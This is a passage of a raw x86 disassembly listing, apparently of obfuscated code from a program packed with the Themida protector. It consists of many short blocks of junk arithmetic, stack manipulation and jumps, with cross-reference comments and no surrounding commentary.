		push	[esp+18h+var_18]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58EE1D
; ---------------------------------------------------------------------------


loc_5857CE:				; CODE XREF: sub_584787+A5F1j
		mov	cl, 2Ah
		sub	cl, 0DEh
		jmp	loc_58FF49
; ---------------------------------------------------------------------------


loc_5857D8:				; CODE XREF: sub_584787+47CFj
		pop	ebx
		push	ebp
		jmp	loc_584820
; ---------------------------------------------------------------------------


loc_5857DF:				; CODE XREF: sub_584787+BFD2j
		mov	cl, 0ABh
		sub	cl, 0BFh
		sub	cl, ah
		add	cl, 0BFh
		mov	eax, [esp+1Ch+var_1C]
		jmp	loc_58C3A3
; ---------------------------------------------------------------------------


loc_5857F1:				; CODE XREF: sub_584787+67C9j
		mov	eax, ecx
		jmp	loc_5873FF
; ---------------------------------------------------------------------------


loc_5857F8:				; CODE XREF: sub_584787+18B1j
		push	430Eh
		mov	[esp+20h+var_20], ebp
		mov	ebp, 497C61D1h
		shr	ebp, 8
		add	ebp, 0FFB6839Eh
		mov	esi, ebp
		pop	ebp
		sub	[edi+24h], esi
		push	[esp+1Ch+var_1C]
		jmp	loc_58C8DE
; ---------------------------------------------------------------------------


loc_58581C:				; CODE XREF: sub_584787+12E9j
		sub	edx, 58511DB2h
		pop	ebp
		jmp	loc_587E02
; ---------------------------------------------------------------------------


loc_585828:				; CODE XREF: sub_584787+57F1j
		or	ebp, 401736DEh
		jmp	loc_58A255
; ---------------------------------------------------------------------------


loc_585833:				; CODE XREF: sub_584787+B86Bj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ch+var_1C]
		pop	esp
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		push	ebp
		push	eax
		sub	esp, 4
		mov	[esp+20h+var_20], edi
		push	6074036Ah
		jmp	loc_585C82
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 53h
		mov	ebx, 4
		add	[esp+24h+var_20], ebx
		pop	ebx
		jmp	loc_5849FA
; ---------------------------------------------------------------------------


loc_58586D:				; CODE XREF: sub_584787+B0E2j
		sub	eax, edi
		add	eax, 1D2743B7h
		push	edi
		mov	edi, 52DE5480h
		sub	eax, edi
		pop	edi
		add	eax, 47BD0248h
		pop	edi
		push	edx
		push	4E262325h
		jmp	loc_5906E4
; ---------------------------------------------------------------------------


loc_58588E:				; CODE XREF: sub_584787+AB7Ej
		xchg	ch, ah
		dec	ch
		xchg	ch, ah
		jmp	loc_58CC56
; ---------------------------------------------------------------------------


loc_585899:				; CODE XREF: sub_584787+3628j
		add	esi, 7DD6419Bh
		or	esi, 12DF29A2h
		push	edi
		push	ecx
		mov	ecx, 63BA4F19h
		neg	ecx
		not	ecx
		inc	ecx
		jmp	loc_58EA7E
; ---------------------------------------------------------------------------


loc_5858B6:				; CODE XREF: sub_584787+5769j
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+2Ch+var_2C], eax
		jmp	loc_58F633
; ---------------------------------------------------------------------------


loc_5858C7:				; CODE XREF: sub_584787+D43j
		push	cx
		jmp	loc_58A671
; ---------------------------------------------------------------------------


loc_5858CE:				; CODE XREF: sub_584787+92ADj
		pop	eax
		jmp	loc_58B43F
; ---------------------------------------------------------------------------


loc_5858D4:				; CODE XREF: sub_584787+6010j
		sub	edi, 3EE3167Fh
		or	edi, 5C67560h
		xor	edi, 0DDFFF4Ah
		mov	eax, edi
		pop	edi
		jmp	loc_5875D9
; ---------------------------------------------------------------------------


loc_5858EE:				; CODE XREF: sub_584787+5631j
		add	esp, 4
		jmp	loc_58C635
; ---------------------------------------------------------------------------


loc_5858F9:				; CODE XREF: sub_584787+143Fj
		mov	[esp+16h+var_18+2], eax
		jmp	loc_58CC0B
; ---------------------------------------------------------------------------


loc_585901:				; CODE XREF: sub_584787+9874j
		push	eax
		push	72DA4051h
		pop	eax
		sub	eax, 39D100A9h
		jmp	loc_58BB26
; ---------------------------------------------------------------------------


loc_585912:				; DATA XREF: Themida_:00584318o
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp+16h+var_18+2], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585920:				; CODE XREF: sub_584787-12Aj
		add	edx, 1B332B08h
		push	dword ptr [esp+0]
		pop	ecx
		add	esp, 4
		xchg	edx, [esp-14h+arg_E+2]
		pop	esp
		or	eax, eax
		jz	loc_587BF9
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 59274AD2h
		push	ebp
		push	ecx
		jmp	loc_586B35
; ---------------------------------------------------------------------------


loc_585949:				; CODE XREF: sub_584787+4196j
		mov	ebx, esp
		jmp	loc_5877DF
; ---------------------------------------------------------------------------


loc_585950:				; CODE XREF: sub_584787+8ED8j
		pop	esi
		push	esi
		mov	esi, 4
		add	edx, 3C787FECh
		add	edx, esi
		sub	edx, 3C787FECh
		pop	esi
		xor	edx, [esp-0Ch+arg_8]
		xor	[esp-0Ch+arg_8], edx
		jmp	loc_58CD30
; ---------------------------------------------------------------------------


loc_585971:				; CODE XREF: sub_584787+492Ej
		neg	bh
		shr	bh, 4
		shr	bh, 8
		add	bh, 67h
		shr	bh, 2
		push	edx
		jmp	loc_58F678
; ---------------------------------------------------------------------------


loc_585985:				; CODE XREF: sub_584787+1EECj
		pop	edx
		push	eax
		mov	al, ch
		jmp	loc_5865A5
; ---------------------------------------------------------------------------


loc_58598E:				; CODE XREF: sub_584787+6541j
		mov	ebx, eax
		pop	eax
		mov	esi, 76587219h
		sub	esi, ebx
		pop	ebx
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xor	ebx, [esp-14h+arg_E+2]
		xor	[esp-14h+arg_E+2], ebx
		xor	ebx, [esp-14h+arg_E+2]
		mov	esp, [esp-14h+arg_E+2]
		jmp	loc_58E94B
; ---------------------------------------------------------------------------


loc_5859B0:				; CODE XREF: sub_584787+188Bj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5859B5:				; CODE XREF: sub_584787+93E8j
		add	edi, ebp
		pop	ebp
		push	2331h
		mov	[esp-14h+arg_E+2], ebx
		mov	ebx, 2
		add	edi, ebx
		pop	ebx
		xor	edi, [esp-18h+arg_12+2]
		xor	[esp-18h+arg_12+2], edi
		jmp	loc_58B9C8
; ---------------------------------------------------------------------------


loc_5859D3:				; CODE XREF: sub_584787+682Ej
		pop	esp
		mov	ax, word ptr [esp-1Ch+arg_18]
		push	ebp
		mov	ebp, esp
		jmp	loc_588BAE
; ---------------------------------------------------------------------------


loc_5859E0:				; CODE XREF: sub_59006F+1Aj
		push	7BB4h
		mov	[esp-14h+arg_E+2], edi
		mov	edi, 5B8220D7h
		not	edi
		push	edx
		mov	edx, 7D782589h
		push	esi
		mov	esi, 0D905FAA5h
		xor	edx, esi
		pop	esi
		xor	edi, edx
		mov	edx, [esp+0]
		jmp	loc_58DC38
; ---------------------------------------------------------------------------


loc_585A08:				; CODE XREF: sub_584787+8122j
		pop	esp
		mov	[esp-14h+arg_E+2], edx
		push	[esp-14h+arg_12+2]
		pop	edx
		jmp	loc_58DD6C
; ---------------------------------------------------------------------------


loc_585A16:				; CODE XREF: sub_584787+65FFj
		push	edx
		jmp	loc_5872EE
; ---------------------------------------------------------------------------


loc_585A1C:				; CODE XREF: sub_584787+55B1j
		pop	ebp
		add	ebp, 4
		jmp	loc_58C09D
; ---------------------------------------------------------------------------


loc_585A28:				; CODE XREF: sub_584787+4322j
		and	eax, edx
		jmp	loc_58544F
; ---------------------------------------------------------------------------


loc_585A2F:				; DATA XREF: Themida_:0058430Co
		mov	cx, word ptr [esp-14h+arg_E+2]
		push	4B21h
		mov	[esp+0], ebx
		sub	esp, 4
		push	27h
		jmp	loc_589D42
; ---------------------------------------------------------------------------


loc_585A4B:				; CODE XREF: sub_584787+50EDj
		and	byte ptr [esp-8+arg_4],	al
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585A54:				; CODE XREF: sub_584787+3494j
		mov	edx, 48720EA0h
		and	edx, 402D7434h
		push	ebp
		mov	ebp, 0EA80E75Ah
		push	ecx
		mov	ecx, 58511DB2h
		add	edx, ecx
		pop	ecx
		sub	edx, ebp
		jmp	loc_58581C
; ---------------------------------------------------------------------------


loc_585A75:				; CODE XREF: sub_584787+4E92j
		add	esi, edx
		pop	edx
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		pop	esp
		or	ebx, ebx
		jnz	loc_58B9DB
		push	48h
		mov	[esp-4+arg_0], edx
		push	edi
		mov	edi, 4F41489Dh
		sub	edi, 0FED1269Eh
		add	[esp+arg_0], edi
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58C818
; ---------------------------------------------------------------------------


loc_585AB7:				; CODE XREF: sub_584787+BBA3j
		mov	[esp+8+var_8], ebx
		push	esp
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	3E5Ch
		mov	[esp+0Ch+var_C], edi
		mov	edi, 547C71C8h
		not	edi
		xor	edi, 0AB838E33h
		jmp	loc_5894D1
; ---------------------------------------------------------------------------


loc_585ADB:				; CODE XREF: sub_584787+6F31j
		mov	ebp, esi
		jmp	loc_58889E
; ---------------------------------------------------------------------------


loc_585AE2:				; CODE XREF: sub_584787+6BF6j
		add	esp, 4
		jmp	loc_584D36
; ---------------------------------------------------------------------------


loc_585AEA:				; CODE XREF: sub_584787+B629j
		push	[esp+8+var_4]
		pop	ecx
		pop	[esp+8+var_8]
		pop	esp
		jmp	loc_584507
; ---------------------------------------------------------------------------


loc_585AF8:				; CODE XREF: sub_584787+D8j
		neg	cl
		sub	cl, 4Ah
		shr	cl, 5
		push	eax
		mov	ah, 71h
		xor	ah, 58h
		xchg	dl, ah
		push	edx
		jmp	loc_58F2F9
; ---------------------------------------------------------------------------


loc_585B0E:				; CODE XREF: sub_584787+18D3j
		push	[esp+20h+var_1C]
		pop	ebp
		pop	[esp+20h+var_20]
		pop	esp
		mov	[esp+18h+var_18], ecx
		jmp	loc_58E21A
; ---------------------------------------------------------------------------


loc_585B1F:				; CODE XREF: sub_584787+7C41j
		sub	ebp, 0FFFFFFFFh
		jmp	loc_5852BD
; ---------------------------------------------------------------------------


loc_585B27:				; CODE XREF: sub_584787+1A4Cj
		sub	ebx, eax
		push	edx
		mov	edx, 65E80F92h
		jmp	loc_5885A6
; ---------------------------------------------------------------------------


loc_585B34:				; CODE XREF: sub_584787+A75Cj
		mov	eax, esp
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		sub	eax, 4
		xor	eax, [esp+1Ch+var_1C]
		jmp	loc_58FF1F
; ---------------------------------------------------------------------------


loc_585B4F:				; CODE XREF: sub_584787-15Cj
		mov	edx, [esp+4+var_4]
		push	edx
		jmp	loc_58882E
; ---------------------------------------------------------------------------


loc_585B58:				; CODE XREF: sub_584787+AFCCj
		pop	eax
		pop	ebp
		pop	ecx
		jmp	loc_586169
; ---------------------------------------------------------------------------


loc_585B60:				; CODE XREF: sub_584787+2491j
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585B66:				; CODE XREF: sub_584787+B1D4j
		xor	ecx, esi
		mov	esi, [esp-8+arg_4]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	ebx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 40h
		jmp	loc_585F6F
; ---------------------------------------------------------------------------


loc_585B8F:				; CODE XREF: sub_584787+3160j
		push	ebx
		push	4
		pop	ebx
		add	edi, 2C7A1BBAh
		jmp	loc_58CE53
; ---------------------------------------------------------------------------


loc_585BA1:				; CODE XREF: sub_584787+3D78j
		sub	ebp, 4
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		jmp	loc_58493F
; ---------------------------------------------------------------------------


loc_585BAF:				; CODE XREF: sub_584787+40BDj
		sub	bl, dl
		sub	bl, 41h
		mov	edx, [esp+4+var_4]
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp+0]
		push	0A24h
		jmp	loc_5858F9
; ---------------------------------------------------------------------------


loc_585BCB:				; CODE XREF: sub_584787+19Fj
		inc	edx
		jmp	loc_58EB90
; ---------------------------------------------------------------------------


loc_585BD1:				; CODE XREF: sub_584787+A192j
		push	ebx
		jmp	loc_58E2C9
; ---------------------------------------------------------------------------


loc_585BD7:				; CODE XREF: sub_584787+363j
		add	ebx, 152C21ACh
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	5357h
		jmp	loc_58B41C
; ---------------------------------------------------------------------------


loc_585BF3:				; CODE XREF: sub_584787+B31j
		sub	ebx, 505E53C1h
		add	ebp, ebx
		jmp	loc_58CF1F
; ---------------------------------------------------------------------------


loc_585C00:				; CODE XREF: sub_584787+17E3j
		sub	ebp, 32C15CCh
		jmp	loc_58985F
; ---------------------------------------------------------------------------


loc_585C0B:				; CODE XREF: sub_584787+5C05j
		push	edi
		jmp	sub_58FB5B
; ---------------------------------------------------------------------------


loc_585C11:				; CODE XREF: sub_584787+B553j
		xor	dh, 0F0h
		sub	dh, 98h
		push	cx
		push	ebx
		jmp	loc_589778
; ---------------------------------------------------------------------------


loc_585C1F:				; CODE XREF: sub_584787+3724j
		sub	ebx, ecx
		mov	ecx, ebx
		pop	ebx
		push	eax
		jmp	loc_58CE1A
; ---------------------------------------------------------------------------


loc_585C2A:				; CODE XREF: sub_584787+19EDj
		mov	[esp+54h+var_54], edi
		push	ecx
		mov	ecx, 7E254C5Fh
		push	ecx
		push	ebp
		push	2F5E5E48h
		mov	ebp, [esp+0]
		add	esp, 4
		xor	[esp+60h+var_5C], ebp
		pop	ebp
		pop	edi
		xor	edi, 2F5E5E48h
		pop	ecx
		and	edi, 664D1355h
		xor	edi, 0A061EFh
		push	esi
		mov	esi, 995AA646h
		add	edi, 6875611Bh
		sub	edi, 78482AEFh
		add	edi, esi
		add	edi, 78482AEFh
		sub	edi, 6875611Bh
		pop	esi
		jmp	loc_58E008
; ---------------------------------------------------------------------------


loc_585C82:				; CODE XREF: sub_584787+10CEj
		pop	edi
		xor	edi, 6074036Bh
		push	edi
		pop	eax
		pop	edi
		jmp	loc_588392
; ---------------------------------------------------------------------------


loc_585C91:				; CODE XREF: sub_584787+63E5j
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585C96:				; CODE XREF: sub_584787+5B13j
		shr	ecx, 4
		sub	ecx, 0FFFFFFFFh
		sub	ecx, 4F75062h
		sub	ebx, 3BE6FDEh
		jmp	loc_58B1B1
; ---------------------------------------------------------------------------


loc_585CAD:				; CODE XREF: sub_584787+8D5j
		mov	ecx, esp
		push	edx
		push	ebx
		mov	ebx, 33196A56h
		jmp	loc_587C5C
; ---------------------------------------------------------------------------


loc_585CBB:				; CODE XREF: sub_584787+9656j
		add	edx, ebx
		mov	ebx, [esp+0]
		jmp	loc_58E5E3
; ---------------------------------------------------------------------------


loc_585CC5:				; DATA XREF: Themida_:005841B8o
		push	dword ptr [esp+0]
		push	[esp+2Ch+var_2C]
		pop	eax
		push	5199h
		mov	[esp+30h+var_30], esi
		push	234Ah
		jmp	loc_585FE5
; ---------------------------------------------------------------------------


loc_585CDE:				; CODE XREF: sub_584787+69Aj
		add	ecx, ebx
		sub	ecx, 65B13017h
		pop	ebx
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585CF0:				; CODE XREF: sub_584787-16Cj
		pop	[esp+4+var_4]
		pop	esp
		and	eax, esi
		mov	esi, [esp-4+arg_0]
		jmp	loc_58BF64
; ---------------------------------------------------------------------------


loc_585CFE:				; CODE XREF: sub_584787+A091j
		mov	edx, 4
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		xor	edi, [esp-8+arg_4]
		pop	esp
		push	ecx
		jmp	loc_587673
; ---------------------------------------------------------------------------


loc_585D1C:				; DATA XREF: Themida_:005841F8o
		mov	cx, word ptr [esp-8+arg_4]
		jmp	sub_5901FD
; ---------------------------------------------------------------------------


loc_585D25:				; CODE XREF: sub_584787+3599j
		mov	edx, edi
		mov	ebp, edx
		mov	edx, [esp-8+arg_4]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		mov	edi, [esp-8+arg_4]
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp-0Ch+arg_8]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		jmp	loc_586FF6
; ---------------------------------------------------------------------------


loc_585D61:				; CODE XREF: sub_584787+6DFFj
		mov	ebp, 49FF6F22h
		xor	ebp, 48961ABCh
		xor	ebp, 34713E08h
		jmp	loc_58B2D5
; ---------------------------------------------------------------------------


loc_585D77:				; CODE XREF: sub_584787+1D1Aj
		add	esi, 7D9859DFh
		add	esi, edi
		jmp	loc_58DA39
; ---------------------------------------------------------------------------


loc_585D84:				; CODE XREF: sub_584787+339Bj
		mov	[esp-8+arg_4], ebx
		jmp	loc_586C3B
; ---------------------------------------------------------------------------


loc_585D8C:				; CODE XREF: sub_584787+8C96j
		inc	edi
		push	ebx
		jmp	loc_588EF6
; ---------------------------------------------------------------------------


loc_585D93:				; CODE XREF: sub_584787+61DBj
		neg	esi
		sub	esi, 0AE4372A5h
		shr	esi, 3
		add	esi, 15767F34h
		add	ecx, esi
		pop	esi
		add	ecx, 47CAA29Ah
		sub	ebp, ecx
		pop	ecx
		jmp	loc_59012B
; ---------------------------------------------------------------------------


loc_585DB5:				; CODE XREF: sub_584787+3826j
		push	eax
		sub	esp, 4
		jmp	loc_588454
; ---------------------------------------------------------------------------


loc_585DBE:				; DATA XREF: Themida_:0058440Co
		mov	ax, word ptr [esp-4+arg_0]
		push	ebp
		push	esp
		pop	ebp
		push	4E4h
		mov	[esp+4+var_4], edx
		mov	edx, 424242D4h
		sub	edx, 41237C18h
		not	edx
		add	edx, 11EC6C1h
		jmp	loc_58EF2A
; ---------------------------------------------------------------------------


loc_585DE5:				; CODE XREF: sub_584787+3B8Fj
		mov	ecx, [esp+4+var_4]
		push	4F22h
		mov	[esp+8+var_8], ebp
		jmp	loc_58BDF4
; ---------------------------------------------------------------------------


loc_585DF5:				; CODE XREF: sub_584787+20DBj
		add	edx, ebp
		pop	ebp
		sub	edx, eax
		push	ebx
		push	51EF119Ch
		pop	ebx
		sub	edx, 516F342Dh
		sub	edx, ebx
		push	eax
		mov	eax, 516F342Dh
		add	edx, eax
		pop	eax
		push	[esp+8+var_8]
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		jmp	loc_586C0F
; ---------------------------------------------------------------------------


loc_585E2B:				; CODE XREF: sub_584787+B183j
		push	edi
		mov	edi, 4287536Bh
		xor	edi, 31517BB7h
		and	eax, edi
		pop	edi
		neg	eax
		push	13E5h
		mov	[esp+10h+var_10], esi
		jmp	loc_5881F9
; ---------------------------------------------------------------------------


loc_585E49:				; CODE XREF: sub_584787+2B18j
		xor	[esp+10h+var_10], eax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_585E52:				; CODE XREF: sub_584787+850Aj
		add	esp, 4
		jmp	loc_58BFEE
; ---------------------------------------------------------------------------


loc_585E5A:				; CODE XREF: sub_584787+B192j
		sub	byte ptr [esp+10h+var_10], bh
		jmp	loc_58B139
; ---------------------------------------------------------------------------


loc_585E62:				; CODE XREF: sub_584787+BF5Ej
		push	edi
		push	ebx
		jmp	loc_58D572
; ---------------------------------------------------------------------------


loc_585E69:				; CODE XREF: sub_584787+3997j
		pop	ebp
		push	ecx
		mov	ecx, 0B250FB71h
		push	ecx
		add	[esp+1Ch+var_1C], 7E9C1711h
		pop	ebx
		jmp	loc_5853FE
; ---------------------------------------------------------------------------


loc_585E7E:				; CODE XREF: sub_584787+635Bj
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		jmp	loc_58A458
; ---------------------------------------------------------------------------


loc_585E93:				; CODE XREF: sub_584787+6442j
		xor	ebx, 0A8ABD04Bh
		sub	eax, ebx
		jmp	loc_586BCA
; ---------------------------------------------------------------------------


loc_585EA0:				; CODE XREF: sub_584787-2F4j
		pop	ecx
		not	bh
		xor	bh, 62h
		add	bh, 4Dh
		or	bh, 9Ch
		xor	bh, 87h
		jmp	loc_584CE2
; ---------------------------------------------------------------------------


loc_585EB4:				; CODE XREF: sub_584787+4403j
		pop	eax
		jmp	loc_588279
; ---------------------------------------------------------------------------


loc_585EBA:				; CODE XREF: sub_584787+7BD5j
		pop	ecx
		push	edi
		mov	edi, 22C05940h
		jmp	loc_588547
; ---------------------------------------------------------------------------


loc_585EC6:				; CODE XREF: sub_584787+B785j
		add	edx, 4A231F51h
		sub	edx, ebp
		jmp	loc_58AE69
; ---------------------------------------------------------------------------


loc_585ED3:				; CODE XREF: sub_584787+2581j
		mov	[esp-8+arg_4], esi
		jmp	loc_58F952
; ---------------------------------------------------------------------------


loc_585EDB:				; CODE XREF: sub_584787+684Dj
		add	ebp, 8E7B281Dh
		jmp	loc_58BDFD
; ---------------------------------------------------------------------------


loc_585EE6:				; CODE XREF: sub_584787+4ACEj
		sub	ah, 0E7h
		jmp	loc_58DA0E
; ---------------------------------------------------------------------------


loc_585EEE:				; CODE XREF: sub_584787+53j
		pop	edi
		xor	esi, 7EAB69DCh
		add	ebx, esi
		pop	esi
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_58B232
; ---------------------------------------------------------------------------


loc_585F0A:				; CODE XREF: sub_584787+1947j
		not	edx
		not	edx
		add	edx, 0C29D9CE3h
		add	esi, edx
		pop	edx
		sub	ecx, 15610CCAh
		add	ecx, esi
		add	ecx, 15610CCAh
		mov	esi, [esp+2+var_4+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+2+var_4+2], ebx
		jmp	loc_58C726
; ---------------------------------------------------------------------------


loc_585F36:				; CODE XREF: sub_584787+4508j
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		push	dword ptr [esp+0]
		pop	eax
		push	5559h
		mov	[esp+2+var_4+2], esi
		jmp	loc_58961E
; ---------------------------------------------------------------------------


loc_585F4B:				; CODE XREF: sub_584787+6108j
		neg	esi
		xor	esi, 39F7519Ah
		sub	esi, 0E113DA43h
		add	eax, esi
		pop	esi
		pop	esi
		and	eax, 0D8E25BAh
		sub	eax, 10A0586h
		mov	esi, eax
		pop	eax
		jmp	loc_585C00
; ---------------------------------------------------------------------------


loc_585F6F:				; CODE XREF: sub_584787+1403j
		push	ebp
		pop	ebx
		pop	ebp
		and	ecx, ebx
		push	[esp-4+arg_0]
		pop	ebx
		push	0BD6h
		mov	[esp+0], ecx
		mov	ecx, esp
		jmp	loc_58B8E3
; ---------------------------------------------------------------------------


loc_585F87:				; CODE XREF: sub_584787+B177j
		add	ecx, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		jmp	loc_58CCBA
; ---------------------------------------------------------------------------


loc_585F95:				; CODE XREF: sub_584787+4847j
		push	edi
		jmp	loc_588CD4
; ---------------------------------------------------------------------------


loc_585F9B:				; CODE XREF: sub_584787+2AFCj
		add	bl, 0C3h
		pop	eax
		jmp	loc_58B772
; ---------------------------------------------------------------------------


loc_585FA4:				; CODE XREF: sub_584787+2E8Ej
		sub	[esp+arg_0], eax
		mov	eax, [esp+0]
		add	esp, 4
		push	[esp-4+arg_0]
		pop	eax
		add	esp, 4
		add	eax, 6DB31AF8h
		movzx	ax, byte ptr [eax]
		jmp	sub_5900B2
; ---------------------------------------------------------------------------


loc_585FC6:				; CODE XREF: sub_584787+5CCCj
		pop	[esp-8+arg_4]
		pop	esp
		xor	dh, 9Ah
		sub	al, dh
		mov	edx, [esp+0]
		jmp	loc_587A0C
; ---------------------------------------------------------------------------


loc_585FD7:				; CODE XREF: sub_584787+81AFj
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_5893C1
; ---------------------------------------------------------------------------


loc_585FE5:				; CODE XREF: sub_584787+1552j
		mov	[esp+34h+var_34], esp
		jmp	loc_58C51D
; ---------------------------------------------------------------------------


loc_585FED:				; CODE XREF: sub_584787+9B64j
		mov	[esp+34h+var_34], esp
		jmp	loc_586867
; ---------------------------------------------------------------------------


loc_585FF5:				; CODE XREF: sub_584787+9955j
		xchg	ecx, [esp+34h+var_34]
		pop	esp
		mov	[esp+30h+var_30], edx
		jmp	loc_5902C3
; ---------------------------------------------------------------------------


loc_586001:				; CODE XREF: sub_584787+806Cj
		add	esp, 4
		pop	[esp+2Ch+var_2C]
		mov	esp, [esp+0]
		sar	word ptr [esp+0], cl
		pushf
		jmp	loc_5859B0
; ---------------------------------------------------------------------------


loc_586017:				; CODE XREF: sub_584787+BC61j
		mov	edx, [esp+2Ch+var_2C]
		add	esp, 4
		mov	ebx, [esp+0]
		add	esp, 4
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	6493h
		mov	[esp+24h+var_26+2], esi
		jmp	loc_5857F8
; ---------------------------------------------------------------------------


loc_58603D:				; CODE XREF: sub_584787+2C3j
		pop	dx
		push	dx
		jmp	loc_586DAE
; ---------------------------------------------------------------------------


loc_586046:				; CODE XREF: sub_5903F6-A6Dj
		pop	ebp
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		jmp	loc_585B0E
; ---------------------------------------------------------------------------


loc_58605F:				; CODE XREF: sub_584787+8ED1j
		and	edi, 5BD1429h
		sub	esp, 4
		mov	[esp+32h+var_34+2], edi
		not	[esp+32h+var_34+2]
		pop	edi
		push	esi
		sub	esp, 4
		mov	[esp+36h+var_38+2], edi
		mov	edi, 61CC700Eh
		mov	esi, edi
		mov	edi, [esp+36h+var_38+2]
		add	esp, 4
		add	esi, 0FFFFFFFFh
		and	esi, 1D146868h
		jmp	loc_589486
; ---------------------------------------------------------------------------


loc_586097:				; CODE XREF: sub_584787+49BBj
		mov	esp, [esp+32h+var_34+2]
		shl	[esp+32h+var_34+2], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5860A3:				; CODE XREF: sub_584787+AA05j
		xor	edx, ebx
		pop	ebx
		jmp	loc_58F015
; ---------------------------------------------------------------------------


loc_5860AB:				; CODE XREF: sub_584787+6E3Fj
		push	cx
		mov	cl, 0E6h
		or	al, cl
		pop	cx
		sub	al, 9Eh
		add	al, 0C0h
		sub	dh, al
		pop	eax
		add	bl, dh
		pop	edx
		jmp	loc_58F66A
; ---------------------------------------------------------------------------


loc_5860C2:				; CODE XREF: sub_584787+4E1Bj
		mov	edx, 329E466Eh
		push	edx
		not	[esp+2Eh+var_30+2]
		pop	edx
		neg	edx
		jmp	loc_585F0A
; ---------------------------------------------------------------------------


loc_5860D3:				; CODE XREF: sub_584787+6062j
		xor	ebx, 7F1673E1h
		or	ebx, 7CAF2ED5h
		sub	ebx, 13F89FBDh
		push	edx
		mov	edx, ebx
		mov	eax, edx
		pop	edx
		pop	ebx
		add	eax, 0ACB3B08Ch
		mov	edx, eax
		pop	eax
		add	esi, edx
		pop	edx
		or	esi, 504859DCh
		add	esi, 85068423h
		add	eax, esi
		pop	esi
		xchg	eax, [esp+1Ah+var_1C+2]
		pop	esp
		mov	ax, word ptr [esp+16h+var_18+2]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], esi
		mov	esi, 4
		push	ebx
		jmp	loc_58A419
; ---------------------------------------------------------------------------


loc_586122:				; CODE XREF: sub_584787+638Dj
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		jmp	loc_58488E
; ---------------------------------------------------------------------------


loc_58612D:				; CODE XREF: sub_584787+6E49j
		add	eax, 391401F2h
		jmp	loc_5896EB
; ---------------------------------------------------------------------------


loc_586137:				; CODE XREF: sub_584787+8E0j
		pop	ecx
		jmp	loc_58FD95
; ---------------------------------------------------------------------------


loc_58613D:				; CODE XREF: sub_584787+27Ej
		mov	ebp, 153F317Eh
		jmp	loc_58C441
; ---------------------------------------------------------------------------


loc_586147:				; CODE XREF: sub_584787+810Dj
		add	bh, 9Bh
		pop	ecx
		jmp	loc_58E4E8
; ---------------------------------------------------------------------------


loc_586150:				; CODE XREF: sub_584787+82B5j
		add	ecx, 4
		push	edx
		jmp	loc_58E1F4
; ---------------------------------------------------------------------------


loc_58615C:				; DATA XREF: Themida_:0058441Co
		push	32C4h
		mov	[esp+2Eh+var_30+2], edx
		jmp	loc_58C37A
; ---------------------------------------------------------------------------


loc_586169:				; CODE XREF: sub_584787+13D4j
		sub	ecx, 59274AD2h
		push	71A8h
		jmp	loc_585C2A
; ---------------------------------------------------------------------------


loc_586179:				; CODE XREF: sub_584787+846Aj
		push	ecx
		jmp	loc_58D1E9
; ---------------------------------------------------------------------------


loc_58617F:				; CODE XREF: sub_584787-BAj
		pop	ebx
		jmp	loc_5872E1
; ---------------------------------------------------------------------------


loc_586185:				; CODE XREF: sub_584787+F31j
		pop	eax
		push	esi
		mov	esi, 1D760CC3h
		sub	eax, 149F0F63h
		sub	eax, esi
		jmp	loc_58A889
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: sub_584787+A287j
		push	ecx
